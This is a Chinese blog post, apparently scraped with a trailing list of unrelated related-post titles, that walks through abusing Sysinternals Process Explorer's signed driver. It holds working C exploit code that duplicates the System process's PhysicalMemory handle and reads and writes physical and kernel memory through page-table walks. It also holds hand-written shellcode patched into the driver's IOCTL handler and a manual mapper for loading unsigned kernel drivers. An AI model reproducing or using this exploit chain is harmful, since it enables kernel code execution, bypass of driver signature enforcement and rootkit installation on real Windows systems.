ProcExp的利用
背景
事件的起因是这篇blog,简单来说就是ark工具能够打开和复制system的句柄,其中\Device\PhysicalMemory的句柄可以映射到当前进程,从而直接操作物理地址。
利用
去msdn下载一个最新的PROCEXP,找到它的驱动文件PROCEXP152.SYS,我这里的版本如下:
丢进ida(简单分析一下),找到可以利用的系统调用号,该ioctl的目的是复制句柄到当前进程。
简单看一下查找的代码,很简单,复制system的所有句柄,查找句柄名为\Device\PhysicalMemory的句柄。
ULONG64 openProcess(ULONG64 pid)
{ULONG64 lPid = pid;ULONG64 handle = 0;ULONG ioctl = 0x3c - 0x7CCB0000;sendData(ioctl, &pid, sizeof(ULONG64), &handle, sizeof(ULONG64));return handle;
}ULONG64 ZwDuplicateObject(ULONG64 handleValue)
{char inData[0x20] = { 0 };*(ULONG64*)inData = 4;*(ULONG64*)(inData + 0x18) = handleValue;ULONG64 duplicateHandle = 0;ULONG ioctl = 0x14 - 0x7CCB0000;sendData(ioctl, inData, 0x20, &duplicateHandle, sizeof(ULONG64));return duplicateHandle;
}ULONG64 getPhysicalMemoryHandle(ULONG64 systemHandle)
{ULONG64 MemoryHandle = NULL;if (!initFunc()){printf("init func failed! \n");return NULL;}PSYSTEM_HANDLE_INFORMATION_EX shInfo = NULL;if (PhEnumHandlesEx(&shInfo) != STATUS_SUCCESS)return NULL;for (ULONG i = 0; i < shInfo->NumberOfHandles; ++i){if (shInfo->Handles[i].UniqueProcessId != 4)continue;//printf("shInfo->Handles[i].HandleValue 0x%x\n", shInfo->Handles[i].HandleValue);//虽然procexp中提供了查询hanadleTypeName的方法,但是pid要大于8,且procexp中没有提供objectname的函数,所以这里把所有句柄直接复制过来ULONG64 dupHandle = ZwDuplicateObject(shInfo->Handles[i].HandleValue);//使用下面的r3的方式部分句柄获取为0,目标\Device\PhysicalMemory也是0//ULONG64 dupHandle = NULL;//DuplicateHandle((HANDLE)systemHandle, (HANDLE)shInfo->Handles[i].HandleValue,GetCurrentProcess(),(LPHANDLE)&dupHandle,0x10000000,false,DUPLICATE_SAME_ACCESS);//printf("copyHandle 0x%llx\n", dupHandle);if (dupHandle){//我比较懒只拿句柄名char BufferForObjectName[1024] = { 0 };//获取句柄名,r3访问可能会卡死 https://blog.csdn.net/qq_18218335/article/details/78155282NTSTATUS status = NtQueryObject((HANDLE)dupHandle, ObjectNameInformation, BufferForObjectName, sizeof(BufferForObjectName), NULL);if (NT_SUCCESS(status)){POBJECT_NAME_INFORMATION ObjectName = (POBJECT_NAME_INFORMATION)BufferForObjectName;//printf("ObjectName->NameBuffer %S len %d \n", ObjectName->Name.Buffer, ObjectName->Name.Length);if (ObjectName->Name.Length == wcslen(L"\\Device\\PhysicalMemory")*2 && memcmp((wchar_t*)ObjectName->Name.Buffer, L"\\Device\\PhysicalMemory",ObjectName->Name.Length) == 0){MemoryHandle = dupHandle;break;}}}}VirtualFree(shInfo, 0, MEM_RELEASE);return MemoryHandle;
}
找到之后就可以将物理内存映射到进程的进程空间进行操作,读写物理地址的代码如下,也比较容易理解,就是需要注意写入的数据存在跨页的情况:
NTSTATUS ReadWritePhysMem(HANDLE hPhysMem, ULONG64 addr, size_t size, void* inOutBuf, bool read = true)
{PVOID ptrBaseMemMapped = NULL;SECTION_INHERIT inheritDisposition = ViewShare;NTSTATUS status = STATUS_SUCCESS;LARGE_INTEGER sectionOffset;// Mapping pageSYSTEM_INFO sysInfo;GetSystemInfo(&sysInfo);const ULONG64 offsetRead = addr % sysInfo.dwPageSize;const ULONG64 addrBasePage = addr - offsetRead;sectionOffset.QuadPart = addrBasePage;// Making sure that the info to read doesn't span on 2 different pagesconst ULONG64 addrEndOfReading = addr + size;const ULONG64 offsetEndOfRead = addrEndOfReading % sysInfo.dwPageSize;const ULONG64 addrBasePageEndOfReading = addrEndOfReading - offsetEndOfRead;size_t sizeToMap = sysInfo.dwPageSize;if (addrBasePageEndOfReading != addrBasePage)sizeToMap *= 2;// We cannot simply use a MapViewOfFile, since it does checks that prevents us from reading kernel memory, so we use NtMapViewOfSection.status = NtMapViewOfSection(hPhysMem, GetCurrentProcess(), &ptrBaseMemMapped, NULL, NULL, §ionOffset, (PSIZE_T)&sizeToMap, inheritDisposition, NULL, PAGE_READWRITE);if (status != STATUS_SUCCESS || !ptrBaseMemMapped)return status;// Copying the memory, unmapping, and returningconst ULONG64 localAddrToRead = (ULONG64)(ptrBaseMemMapped) + offsetRead;if (read)memcpy(inOutBuf, (void*)(localAddrToRead), size);elsememcpy((void*)(localAddrToRead), inOutBuf, size);UnmapViewOfFile(ptrBaseMemMapped);return status;
}
但是只操作物理地址没什么用啊,难道直接搜索nt的特侦码?这样也是一种方法,但是不够体面,这里找到了这个blog,简单来说通过uefi启动的系统,0x1000-0x100000的物理地址存了一个结构体PROCESSOR_START_BLOCK,而且都在页的开头。
其中 _KPROCESSOR_STATE中有system的cr3,而且根据观察,win10的system的cr3是固定的0x1ad000(当然不建议直接使用,能搜出来为什么要写死呢)
typedef struct _CONTEXT
{ULONG ContextFlags;ULONG Dr0;ULONG Dr1;ULONG Dr2;ULONG Dr3;ULONG Dr6;ULONG Dr7;FLOATING_SAVE_AREA FloatSave;ULONG SegGs;ULONG SegFs;ULONG SegEs;ULONG SegDs;ULONG Edi;ULONG Esi;ULONG Ebx;ULONG Edx;ULONG Ecx;ULONG Eax;ULONG Ebp;ULONG Eip;ULONG SegCs;ULONG EFlags;ULONG Esp;ULONG SegSs;UCHAR ExtendedRegisters[512];
} CONTEXT, *PCONTEXT;typedef struct _KSPECIAL_REGISTERS
{ULONG Cr0;ULONG Cr2;ULONG Cr3;ULONG Cr4;ULONG KernelDr0;ULONG KernelDr1;ULONG KernelDr2;ULONG KernelDr3;ULONG KernelDr6;ULONG KernelDr7;DESCRIPTOR Gdtr;DESCRIPTOR Idtr;WORD Tr;WORD Ldtr;ULONG Reserved[6];
} KSPECIAL_REGISTERS, *PKSPECIAL_REGISTERS;typedef struct _KPROCESSOR_STATE
{CONTEXT ContextFrame;KSPECIAL_REGISTERS SpecialRegisters;
} KPROCESSOR_STATE, *PKPROCESSOR_STATE;
有了结构体搜索起cr3来就简单了
ULONG64 GetPML4(ULONG64 pbLowStub1M)
{ULONG offset = 0;ULONG64 PML4 = 0;//这里有个坑,注意x32和x64指针大小ULONG cr3_offset = 0xa0;//FIELD_OFFSET(PROCESSOR_START_BLOCK, ProcessorState) + FIELD_OFFSET(KSPECIAL_REGISTERS, Cr3);__try {while (offset < 0x100000) {offset += 0x1000;if (0x00000001000600E9 != (0xffffffffffff00ff & *(UINT64*)(pbLowStub1M + offset))) //PROCESSOR_START_BLOCK->Jmpcontinue;//编译为0x32位的是6c 0x64的是70,这里我习惯编译成x32,所以这里写死0x70 FIELD_OFFSET(PROCESSOR_START_BLOCK, LmTarget)//printf("offset %x *(UINT64*)(pbLowStub1M + offset + 0x70) %llX\n", offset, *(UINT64*)(pbLowStub1M + offset + 0x70));if (0xfffff80000000000 != (0xfffff80000000003 & *(UINT64*)(pbLowStub1M + offset + 0x70)))continue;if (0xffffff0000000fff & *(UINT64*)(pbLowStub1M + offset + cr3_offset))continue;PML4 = *(UINT64*)(pbLowStub1M + offset + cr3_offset);break;}}__except (EXCEPTION_EXECUTE_HANDLER) {}return PML4;
}
有了cr3,那就可以通过分页操作system映射的虚拟地址了,代码如下
NTSTATUS ReadWriteVirtualAddressValue(ULONG64 cr3, HANDLE hPhysMem, ULONG64 virtualAddress, ULONG operateSize, PVOID Data, bool read)
{/*ULONG64* pTmp = &virtualAddress;//https://bbs.pediy.com/thread-203391.htmPPAGEFORMAT pageFormat = (PPAGEFORMAT)pTmp;printf("pageFormat->offset %llx, pageFormat->pte %llx, pageFormat->pde %llx, pageFormat->ppe %llx, pageFormat->pxe %llx",pageFormat->offset, pageFormat->pte, pageFormat->pde, pageFormat->ppe, pageFormat->pxe);*/ULONG64* pTmpVirtualAddress = &virtualAddress;PPAGEFORMAT pageFormat = (PPAGEFORMAT)pTmpVirtualAddress;//pxe处理ULONG64 pxe = NULL;ReadPhysMem(hPhysMem, cr3 + 8 * pageFormat->pxe, 8, &pxe);if (!pxe)return STATUS_UNSUCCESSFUL;//printf("pxe 0x%llx \n", pxe);pxe &= 0xFFFFFFFFFF000;//去掉高12和低12位数//ppe处理ULONG64 ppe = NULL;ReadPhysMem(hPhysMem, pxe + 8 * pageFormat->ppe, 8, &ppe);if (!ppe)return STATUS_UNSUCCESSFUL;//printf("ppe 0x%llx \n", ppe);ppe &= 0xFFFFFFFFFF000;//去掉高12和低12位数if (ppe & 0x80)//1g大页{//低30位清零ppe >>= 30;ppe <<= 30;//高34位清零virtualAddress <<= 34;virtualAddress >>= 34;if (read)return ReadPhysMem(hPhysMem, ppe + virtualAddress, operateSize, Data);elsereturn WritePhysMem(hPhysMem, ppe + virtualAddress, operateSize, Data);}//pde处理ULONG64 pde = NULL;ReadPhysMem(hPhysMem, ppe + 8 * pageFormat->pde, 8, &pde);if (!pde)return STATUS_UNSUCCESSFUL;//printf("pde 0x%llx \n", pde);pde &= 0xFFFFFFFFFF000;//去掉高12和低12位数if (pde & 0x80) //2m大页{//低21位清零pde >>= 21;pde <<= 21;//高43位清零virtualAddress <<= 43;virtualAddress >>= 43;if (read)return ReadPhysMem(hPhysMem, pde + virtualAddress, operateSize, Data);elsereturn WritePhysMem(hPhysMem, pde + virtualAddress, operateSize, Data);}//pte处理ULONG64 pte = NULL;ReadPhysMem(hPhysMem, pde + 8 * pageFormat->pte, 8, &pte);if (!pte)return STATUS_UNSUCCESSFUL;//printf("pte 0x%llx \n", pte);pte &= 0xFFFFFFFFFF000;//去掉高12和低12位数if (read)return ReadPhysMem(hPhysMem, pte + pageFormat->offset, operateSize, Data);elsereturn WritePhysMem(hPhysMem, pte + pageFormat->offset, operateSize, Data);return STATUS_UNSUCCESSFUL;
}
现在能读写内核地址虚拟地址了,能不能做一个简单的demo,这里是可以的,利用漏洞加载未签名的驱动程序(这里我只修复了nt的导入表以及重定位,而且没有传入驱动对象,也就意味着不能指定unload和mj_control),这里抄袭了kdu的想法,hook驱动的ioctl调用函数。
思路
首先需要在内核申请一块地址,然后把未签名的驱动修复之后拷贝到内核中,启动线程或者修改线程执行流程到驱动的入口函数。
这里需要解决的第一个问题就是,如何在内核申请内存,这里处理比较简单,直接hook procexp的ioctl的调用函数,选了一个合适的调用号0x24
写入shellcode,控制参数申请和释放内核内存
ULONG64 operateMemInit(HANDLE hPhysMem)
{ULONG64 readData = 0;ULONG64 cr3 = GetCr3(hPhysMem);if (cr3){ULONG64 procexpBase = GetKernelBaseByName((char*)"PROCEXP152.SYS");if (procexpBase){printf("procexpBase %llX\n", procexpBase);//hook 0x24调用 这里函数0x30D0偏移写死,有懒人,我不说是谁NTSTATUS status = ReadWriteVirtualAddressValue(cr3, hPhysMem, procexpBase + 0x30D0 + 8, 8, &readData, 1);if (NT_SUCCESS(status)){if (readData == 0x848d48f88b4948ec)//这里代表函数还没有改{//这里写shellCode,主要有三个函数,1->ExAllocatePool 2->ExFreePool 以及3->PsCreateSystemThread (*+﹏+*)~@ULONG64 ExAllocatePool = GetKernelFuncAddress((char *)"ExAllocatePool");// 0xfffff8076c75fdb0;ULONG64 ExFreePool = GetKernelFuncAddress((char *)"ExFreePool");// 0xfffff8076cdb3140;/*40 53 push rbx56 push rsi57 push rdi41 57 push r1548 83 EC 58 sub rsp, 58h //注意栈对齐movaps xmmword ptr [rbp-21h],xmm0 ss:0018:ffffa687`b2e21138//rcx = inBuf rdx = outBuf r8 = outLen48 8B C1 mov rax,rcx48 8B 00 mov rax,qword ptr ds:[rax]48 83 F8 01 cmp rax,174 10 je eip + 1848 83 F8 02 cmp rax,274 2A je eip + 4448 83 F8 03 cmp rax,3 //原本打算是PsCreateSystemThread,但直接hook函数更省事儿74 36 je eip + 56EB 34 jmp eip + 54// ExAllocatePool函数的调用90 nop90 nop48 B8 11 11 11 11 11 11 11 11 mov rax,ExAllocatePool + 40 48 8B D9 mov rbx,rcx B9 00 00 00 00 mov ecx,0 //NonPagedPool48 8B F2 mov rsi,rdx 48 8B 53 08 mov rdx,qword ptr ds:[rbx+8]//NumberOfBytesFF D0 call rax48 89 06 mov qword ptr ds:[rsi],rax//ExFreePool函数的调用EB 12 jmp eip + 20 48 B8 11 11 11 11 11 11 11 11 mov rax,ExFreePool + 7248 8B 49 08 mov rcx,qword ptr ds:[rcx+8]FF D0 call rax90 nop90 nop90 nop90 nop90 nop48 83 C4 58 add rsp, 58h41 5F pop r155F pop rdi5E pop rsi5B pop rbxC3 retn*///保存原始代码。。。。省略UCHAR shellCode[] = { 0x40,0x53,0x56,0x57,0x41,0x57,0x48,0x83,0xEC,0x58,//这里是处理逻辑的opCobde0x48,0x8B,0xC1,0x48,0x8B,0x00,0x48,0x83,0xF8,0x01,0x74,0x10,0x48,0x83,0xF8,0x02,0x74,0x2A,0x48,0x83,0xF8,0x03,0x74,0x36,0xEB,0x34,0x90,0x90,//这里处理函数一0x48,0xB8,0x11,0x11,0x11,0x11,0x11,0x11,0x11,0x11,0x48,0x8B,0xD9,0xB9,0x00,0x00,0x00,0x00,0x48,0x8B,0xF2,0x48,0x8B,0x53,0x08,0xFF,0xD0,0x48,0x89,0x06,0xEB,0x12,//这里处理函数二0x48,0xB8,0x11,0x11,0x11,0x11,0x11,0x11,0x11,0x11,0x48,0x8B,0x49,0x08,0xFF,0xD0,0x90,0x90,0x90,0x90,0x90,//结束0x48,0x83,0xC4,0x58,0x41,0x5F,0x5F,0x5E,0x5B,0xC3 };//拷贝函数memcpy(shellCode + 40, &ExAllocatePool, 8);memcpy(shellCode + 72, &ExFreePool, 8);status = ReadWriteVirtualAddressValue(cr3, hPhysMem, procexpBase + 0x30D0, sizeof(shellCode), shellCode, 0);if (NT_SUCCESS(status)){//__(1,0);printf("write shellcode func successful!!\n");return cr3;}}}else{printf("invalid address\n");}}}return cr3;
}
很简单,传入1代表申请内存,2是释放,其他是不操作。
最后就是修复iat和重定位,在跳转到oep就能保证驱动的执行了,当然可能比较复杂的驱动会有问题,但这只能结合你自己的驱动自己去调,我写的demo很简单,加载也不会有问题。
//这里只修复nt的导入函数和重定位,能修但是只能修一点点
NTSTATUS LoadDriver(HANDLE hPhysMem,ULONG64 cr3,WCHAR* path)
{UNICODE_STRING ustr;WCHAR sysPath[MAX_PATH * 2];ULONG64 sysBase = NULL;wcscpy_s(sysPath, path);RtlInitUnicodeString(&ustr, sysPath);NTSTATUS ntStatus = LdrLoadDll(NULL, NULL, &ustr, (PVOID*)& sysBase);if (NT_SUCCESS(ntStatus)){//printf("sysBase %llX \n", sysBase);PIMAGE_DOS_HEADER ImageDosHeader = (PIMAGE_DOS_HEADER)sysBase;if (ImageDosHeader->e_magic != IMAGE_DOS_SIGNATURE){return STATUS_UNSUCCESSFUL;}PIMAGE_NT_HEADERS64 pImageNtHeaders64 = (PIMAGE_NT_HEADERS64)((PUCHAR)sysBase + ImageDosHeader->e_lfanew);PIMAGE_IMPORT_DESCRIPTOR pImportHeader = (PIMAGE_IMPORT_DESCRIPTOR)((PUCHAR)sysBase + pImageNtHeaders64->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress);while (pImportHeader->Name && pImportHeader->Characteristics){PCHAR name = (PCHAR)sysBase + pImportHeader->Name;PIMAGE_THUNK_DATA64 pImageThunkData = (PIMAGE_THUNK_DATA64)(pImportHeader->FirstThunk + (PUCHAR)sysBase);if (memcmp("ntoskrnl.exe", name, strlen("ntoskrnl.exe")) == 0)//只处理nt{while (pImageThunkData->u1.AddressOfData){if ((pImageThunkData->u1.Ordinal & IMAGE_ORDINAL_FLAG64) == 0){PIMAGE_IMPORT_BY_NAME pImageImportName = (PIMAGE_IMPORT_BY_NAME)(pImageThunkData->u1.AddressOfData + (PUCHAR)sysBase);ULONG64 func = GetKernelFuncAddress(pImageImportName->Name);if (func)VirtualProtectCopy(&pImageThunkData->u1.Function, func, 8);printf("name %s address %llx \n", pImageImportName->Name, pImageThunkData->u1.Function);}pImageThunkData++;}break;}pImportHeader++;}ULONG imgSize = pImageNtHeaders64->OptionalHeader.SizeOfImage;ULONG64 allocateAddress = __(1, imgSize);if (allocateAddress){ULONG64 baseAddressoffest = ((ULONG64)allocateAddress) - (pImageNtHeaders64->OptionalHeader.ImageBase);PIMAGE_BASE_RELOCATION pRelocation = (PIMAGE_BASE_RELOCATION)((PUCHAR)sysBase + pImageNtHeaders64->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress);while (pRelocation->SizeOfBlock && pRelocation->VirtualAddress){ULONG iTypeOffsetCount = (ULONG)(pRelocation->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / 2;for (ULONG i = 0; i < iTypeOffsetCount; i++){USHORT TypeOffsetInfo = *(USHORT*)((PUCHAR)pRelocation + sizeof(IMAGE_BASE_RELOCATION) + i * sizeof(USHORT));USHORT TypeOffsetFlag = (TypeOffsetInfo >> 12) & 0x000F;if (IMAGE_REL_BASED_HIGHLOW == TypeOffsetFlag || TypeOffsetFlag == IMAGE_REL_BASED_DIR64){ULONG64 relocationAddress = (ULONG64)sysBase + pRelocation->VirtualAddress + (TypeOffsetInfo & 0x0FFF);//*(PULONG64)relocationAddress += baseAddressoffest;VirtualProtectCopy((ULONG64*)relocationAddress, *(PULONG64)relocationAddress + baseAddressoffest, 8);}}pRelocation = (PIMAGE_BASE_RELOCATION)((ULONG64)pRelocation + pRelocation->SizeOfBlock);}printf("sysbase %llX allocateAddress %llX size %X \n", sysBase, allocateAddress, imgSize);//把数据拷贝过去for (ULONG i = 0; i < imgSize; i += 0x1000){__try{printf("%llX \n", sysBase + i);//这里是不可以省略的,因为拷贝的时候r3的所有内存不是全部映射了,这是一种偷懒的做法,有些人真是懒死了ReadWriteVirtualAddressValue(cr3, hPhysMem, allocateAddress + i, 0x1000, (PVOID)(sysBase + i), 0);}__except(EXCEPTION_EXECUTE_HANDLER) {}}//printf("write successful!! allocateAddress is %llx \n", allocateAddress);//然后找一个hook点jmp过去ULONG64 oep = pImageNtHeaders64->OptionalHeader.AddressOfEntryPoint + allocateAddress;ULONG64 procexpBase = GetKernelBaseByName((char*)"PROCEXP152.SYS");if (procexpBase){/*48 B8 11 11 11 11 11 11 11 11 mov rax,1111111111111111FF E0 jmp rax*/UCHAR shellCode[] = { 0x48,0xB8,0x11,0x11,0x11,0x11,0x11,0x11,0x11,0x11,0xFF,0xE0 };memcpy(shellCode + 2, &oep, 8);NTSTATUS status = ReadWriteVirtualAddressValue(cr3, hPhysMem, procexpBase + 0x1A20, sizeof(shellCode), shellCode, 0);{printf("write oep success %llX \n", oep);system("pause");//触发jmp oep ==>需要注意的是,由于没有初始化pdriverobject,所以驱动里面不要写unload函数___();}}system("pause");__(2, allocateAddress);//释放}}return STATUS_SUCCESS;
}
ProcExp的利用相关推荐
- meterpreter会话渗透利用常用的32个命令归纳小结
仅作渗透测试技术实验之用,请勿针对任何未授权网络和设备. https://www.cnblogs.com/ssooking/p/6192995.html run vnc 无法操作的远程桌面 1.bac ...
- 利用dom4j将实体类转换为对应的xml报文
利用dom4j生成xml报文 目标格式: <?xml version="1.0" encoding="GBK"?><Packet type=& ...
- 【CentOS】利用Kubeadm部署Kubernetes (K8s)
[CentOS]利用Kubeadm部署Kubernetes (K8s)[阅读时间:约10分钟] 一.概述 二.系统环境&项目介绍 1.系统环境 2.项目的任务要求 三.具体实验流程 1 系统准 ...
- 【置顶】利用 NLP 技术做简单数据可视化分析教程(实战)
置顶 本人决定将过去一段时间在公司以及日常生活中关于自然语言处理的相关技术积累,将在gitbook做一个简单分享,内容应该会很丰富,希望对你有所帮助,欢迎大家支持. 内容介绍如下 你是否曾经在租房时因 ...
- 利用牛顿法求平方根-Go语言实现
牛顿法解释 百度的解释如下: 通俗的解释就是:多数方程不存在求根公式,牛顿提出了一种用迭代来求方程近似根的方法.思路就是不断取切线,用线性方程的根逼近非线性方程f(x)=0f(x)=0f(x)=0的根 ...
- 利用pandas读写HDF5文件
一.简介 HDF5(Hierarchical Data Formal)是用于存储大规模数值数据的较为理想的存储格式,文件后缀名为h5,存储读取速度非常快,且可在文件内部按照明确的层次存储数据,同一个H ...
- [实现] 利用 Seq2Seq 预测句子后续字词 (Pytorch)2
最近有个任务:利用 RNN 进行句子补全,即给定一个不完整的句子,预测其后续的字词. 本文使用了 Seq2Seq 模型,输入为 5 个中文字词,输出为 1 个中文字词. 目录 关于RNN 语料预处理 ...
- [实现] 利用 Seq2Seq 预测句子后续字词 (Pytorch)
最近有个任务:利用 RNN 进行句子补全,即给定一个不完整的句子,预测其后续的字词. 本文使用了 Seq2Seq 模型,输入为5个中文字词,输出为一个中文字词. 目录 关于RNN 语料预处理 搭建数据 ...
- 在NVIDIA A100 GPU上利用硬件JPEG解码器和NVIDIA nvJPEG库
在NVIDIA A100 GPU上利用硬件JPEG解码器和NVIDIA nvJPEG库 根据调查,普通人产生的1.2万亿张图像可以通过电话或数码相机捕获.这样的图像的存储,尤其是以高分辨率的原始格式, ...
- 利用NVIDIA NGC的TensorRT容器优化和加速人工智能推理
利用NVIDIA NGC的TensorRT容器优化和加速人工智能推理 Optimizing and Accelerating AI Inference with the TensorRT Contai ...
最新文章
- pageEncoding和ContextType区别
- KNN算法的机器学习基础
- 百融金服榕树_百融金服榕树成为拉动新金融行业增长的主力军
- Word无法打开该文件,因为文件格式与文件扩展名不匹配的解决办法
- 《编写高质量代码改善JavaScript程序的188个建议》读书笔记
- [设计原则与模式] 如何理解TDD的三条规则
- 2012 php mysql_Apache+Mysql+PHP(win sercer2012)
- C# DataTable 用法简介
- java笔记高级部分
- 【语音识别】基于matlab MFCC+IPC特征+SVM中英语种识别【含Matlab源码 612期】
- python numpy库下载_python3.6下Numpy库下载与安装图文教程
- NiFi 1.16.3 生产使用的更新及BUG。
- 自学Python+Selenium自动化测试
- 23岁的Python,这些年在编程语言排行榜上直线上升的原因是什么?很多人都不解
- 自己碰到的一个control +鼠标左键无效问题。
- 万物皆可秒—— 淘宝秒杀Python脚本,扫货618,备战双11!
- Java内存相关的常用命令
- 青龙面板搭建 纯小白教程
- 新课程盘古人工智能框架开发专题发布,智华欢迎读者学习!
- 图书管理系统-成绩管理系统
热门文章
- HP常用函数总结(一):
- java多线程框架 netty,JavaSocket编程之Netty框架线程模型
- 计算机会计学ufo报表,UFO报表管理实验报告.doc
- matlab查表svpwm,SVPWM的查表生成方式代码
- matlab生成西门子plc源文件,【图】西门子step7功能块的属性及生成源文件的步骤...
- 手机输入法带拼音声调_分享4种给拼音加声调的方法,让你的word更有灵魂
- 小米商城网页制作代码
- C语言编程题目(精心准备,特别适合C语言小白)
- Axure RP 8.0 Mac中文破解版链接
- AMTEmu v0.9.2